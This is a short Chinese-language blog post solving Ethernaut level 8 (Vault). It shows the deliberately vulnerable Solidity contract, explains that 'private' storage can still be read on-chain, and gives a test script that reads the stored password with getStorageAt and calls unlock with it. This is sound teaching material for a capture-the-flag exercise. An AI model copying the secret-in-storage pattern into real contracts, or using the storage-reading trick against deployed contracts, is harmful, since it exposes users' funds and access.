DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 8 (Vault)

LEVEL 8 (Vault):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

locked = false

要点

合约的存储变量,包含private,对外都是可见的.
跟第三关类似
https://dev.to/bin2chen/ethernautxi-lie-level-3coinflip-521d

解题思路

直接查看password并调用
test/08Vault.js

  it("attacks", async function () {
    //这个值可以从chrome的console中执行来获取(虽然是private):await web3.eth.getStorageAt(instance,1)+""
    await levelContract
      .connect(player)
      .unlock(
        "0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
      );
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)